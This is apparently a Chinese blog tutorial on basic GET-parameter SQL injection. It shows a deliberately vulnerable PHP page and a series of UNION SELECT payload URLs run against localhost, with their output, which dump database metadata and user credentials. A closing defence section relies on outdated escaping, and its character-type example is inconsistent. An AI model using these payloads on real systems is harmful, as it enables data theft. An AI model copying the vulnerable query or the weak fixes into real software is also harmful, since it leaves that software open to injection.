• sql_injection之基本get注入


    1、代码篇

    <?php
    error_reporting(0);
    include("../conn.php");
    if(isset($_GET['id'])){
        $id=$_GET['id'];
        echo "你当前输入id:".$id."<br>";
        $sql="select * from user where id='$id' limit 0,1";
        $res=mysql_query($sql);
        $row=mysql_fetch_array($res);
        if($row){
            echo "你获取的数据:<br>";
            echo "id:".$row['id']."<br>";
            echo "username:".$row['username']."<br>";
            echo "password:".$row['password']."<br>";
        }
        else{
            echo "mysql_query error".mssql_error();
        }
    }
    else{
        echo "请输入id";
    }
    ?>

    2、注入篇

    http://localhost/pentest/sql/sql_get_id.php?id=1

    你当前输入id:1
    你获取的数据:
    id:1
    username:admin
    password:pass

    构造sql注入语句:

    http://localhost/pentest/sql/sql_get_id.php?id=1'  --+

    你当前输入id:1' --
    你获取的数据:
    id:1
    username:admin
    password:pass

    我们就可以进行各种各样的查询

    http://localhost/pentest/sql/sql_get_id.php?id=1' and 1=2 union select @@datadir,database(),version() --+

    你当前输入id:1' and 1=2 union select @@datadir,database(),version() -- 
    你获取的数据:
    id:D:wampinmysqlmysql5.5.20data
    username:bloodzero
    password:5.5.20-log

    这里我解释一下,and 1=2 的目的是为了不执行前面的查询语句,而执行后面的查询语句;

    好了,我们继续进行注入;获取了一定的信息以后就需要密码和用户名;

    http://localhost/pentest/sql/sql_get_id.php?id=1' and 1=2 union select current_user(),2,3 --+

    你当前输入id:1' and 1=2 union select current_user(),2,3 --
    你获取的数据:
    id:root@localhost
    username:2
    password:3
    注:有的时候拿到了高权限的账号,可以直接进行提权,详细请关注后续;

    http://localhost/pentest/sql/sql_get_id.php?id=1' and 1=2 union select schema_name,2,3 from information_schema.schemata limit 0,1 --+

    你当前输入id:1' and 1=2 union select schema_name,2,3 from information_schema.schemata limit 0,1 --
    你获取的数据:
    id:information_schema
    username:2
    password:3

    注:我们可以通过改变limit 0,1的值来获取不同的值;
    limit m,n
    m:表示从查询结果的第几条开始取;
    n:表示取多少条;

    http://localhost/pentest/sql/sql_get_id.php?id=1' and 1=2 union select table_name,2,3 from information_schema.tables where table_schema=database() limit 0,1 --+

    你当前输入id:1' and 1=2 union select table_name,2,3 from information_schema.tables where table_schema=database() limit 0,1 --
    你获取的数据:
    id:user
    username:2
    password:3

    http://localhost/pentest/sql/sql_get_id.php?id=1' and 1=2 union select column_name,2,3 from information_schema.columns where table_name='user' limit 0,1 --+

    你当前输入id:1' and 1=2 union select column_name,2,3 from information_schema.columns where table_name='user' limit 0,1 --
    你获取的数据:
    id:id
    username:2
    password:3

    注:这里的表名如果执行不成功,可以更换为16进制

      附:小葵转换工具 提取码:yisi

    http://localhost/pentest/sql/sql_get_id.php?id=1' and 1=2 union select id,username,password from user limit 0,1 --+

    你当前输入id:1' and 1=2 union select id,username,password from user limit 0,1 --
    你获取的数据:
    id:1
    username:admin
    password:pass

     3、防注入

    对于php+mysql防注入:首先将magic_quotes_off的值设为On;

    int型

    <?php
    error_reporting(0);
    include("../conn.php");
    if(isset($_GET['id'])){
        $id=$_GET['id'];
        $id=intval($id);
        echo "你当前输入id:".$id."<br>";
        $sql="select * from user where id='$id' limit 0,1";
        ……  
    ?>

    char型

    <?php
    error_reporting(0);
    include("../conn.php");
    if(isset($_GET['id'])){
        $id=$_GET['id'];
        $id=intval($id);
        /*
        $search=addslashes($search);
        $search=str_replace(“_”,”\_”,$search);   #过滤_
        $search=str_replace(“%”,”\%”,$search);   #过滤%
        */
        echo "你当前输入id:".$id."<br>";
        $sql="select * from user where id='$id' limit 0,1";
        $res=mysql_query($sql);
        ……
    ?>
  • 相关阅读:
    [ css 计数器 counter ] css中counter计数器实例演示一
    [ css 计数器 counter ] css中counter计数器(序列数字字符自动递增)应用问题讲解及实例演示
    [ css 伪元素 :before :after ] css中before, after伪元素特性表现解释和实例
    [ css 引用 尚需深入研究的引用 ] css中那些令你蛋疼的糟粕(标记:本文引用,但是有很多地方不明白,需要深入研究)
    [ css 伪对象添加 content ] css中content内容生成技术以及应用问题讲解及实例演示
    [ css垂直对齐 vertical-align ] css中 vertical-align属性问题讲解及实例演示
    [ css 外边距 margin ] css中margin外边距合并问题讲解及实例演示
    [ css 权重 !important ] 使用CSS的!important讲解及实例演示
    [ css zoom和transform属性 ] zoom和transform属性中scale属性值之间的区别讲解及实例演示
    [ css 弹性盒子模型 box-flex 及相关属性 ] box-flex属性弹性盒子模型讲解及实例演示
  • 原文地址:https://www.cnblogs.com/BloodZero/p/4424763.html
Copyright © 2020-2023  润新知